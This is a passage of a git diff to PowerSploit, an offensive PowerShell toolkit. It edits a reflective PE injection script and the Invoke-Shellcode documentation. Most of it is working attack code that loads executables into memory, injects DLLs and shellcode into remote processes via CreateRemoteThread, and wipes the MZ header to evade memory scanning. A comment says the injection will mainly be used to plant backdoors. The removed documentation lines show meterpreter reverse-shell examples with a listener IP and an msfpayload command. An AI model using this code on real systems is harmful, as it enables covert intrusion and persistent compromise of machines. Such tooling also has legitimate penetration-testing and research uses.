($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + #ASLR check + [IntPtr]$LoadAddr = [IntPtr]::Zero + $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Delete the PE file from memory. + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main } #Main function to either run the script locally or remotely Function Main { - if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) - { - $DebugPreference = "Continue" - } - - Write-Verbose "PowerShell ProcessID: $PID" - - [Byte[]]$PEBytes = $null - - if ($PsCmdlet.ParameterSetName -ieq "LocalFile") - { - Get-ChildItem $PEPath -ErrorAction Stop | Out-Null - [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) - } - else - { - $WebClient = New-Object System.Net.WebClient - - [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) - } - - #Verify the image is a valid PE file - $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join '' if ($e_magic -ne 'MZ') { throw 'PE is not a valid PE file.' } - # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg - # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. - $PEBytes[0] = 0 - $PEBytes[1] = 0 - - #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) - if ($ExeArgs -ne $null -and $ExeArgs -ne '') - { - $ExeArgs = "ReflectiveExe $ExeArgs" - } - else - { - $ExeArgs = "ReflectiveExe" - } - - if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) - } - else - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName - } + if (-not $DoNotZeroMZ) { + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + } + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName + } } Main diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 563d3a72..1e889f6c 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -5,22 +5,22 @@ function Invoke-Shellcode Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - + .PARAMETER ProcessID Process ID of the process you want to inject shellcode into. @@ -29,33 +29,13 @@ Process ID of the process you want to inject shellcode into. Specifies an optional shellcode passed in as a byte array -.PARAMETER ListMetasploitPayloads - -Lists all of the available Metasploit payloads that Invoke-Shellcode supports - -.PARAMETER Lhost - -Specifies the IP address of the attack machine waiting to receive the reverse shell - -.PARAMETER Lport - -Specifies the port of the attack machine waiting to receive the reverse shell - -.PARAMETER Payload - -Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - -.PARAMETER UserAgent - -Optionally specifies the user agent to use when using meterpreter http or https payloads - .PARAMETER Force Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. .EXAMPLE -C:\PS> Invoke-Shellcode -ProcessId 4274 +Invoke-Shellcode -ProcessId 4274 Description ----------- @@ -63,7 +43,7 @@ Inject shellcode into process ID 4274. .EXAMPLE -C:\PS> Invoke-Shellcode +Invoke-Shellcode Description ----------- @@ -71,135 +51,34 @@ Inject shellcode into the running instance of PowerShell. .EXAMPLE -C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -C:\PS> $Proc = Get-Process notepad -C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose - -VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM -VERBOSE: Injecting shellcode into PID: 4004 -VERBOSE: Injecting into a Wow64 process. -VERBOSE: Using 32-bit shellcode. -VERBOSE: Shellcode memory reserved at 0x03BE0000 -VERBOSE: Emitting 32-bit assembly call stub. -VERBOSE: Thread call stub memory reserved at 0x001B0000 -VERBOSE: Shellcode injection complete! +Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) -Description ------------ -Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_https): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 443 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 - -Description ------------ -Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_http): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 80 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - Description ----------- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 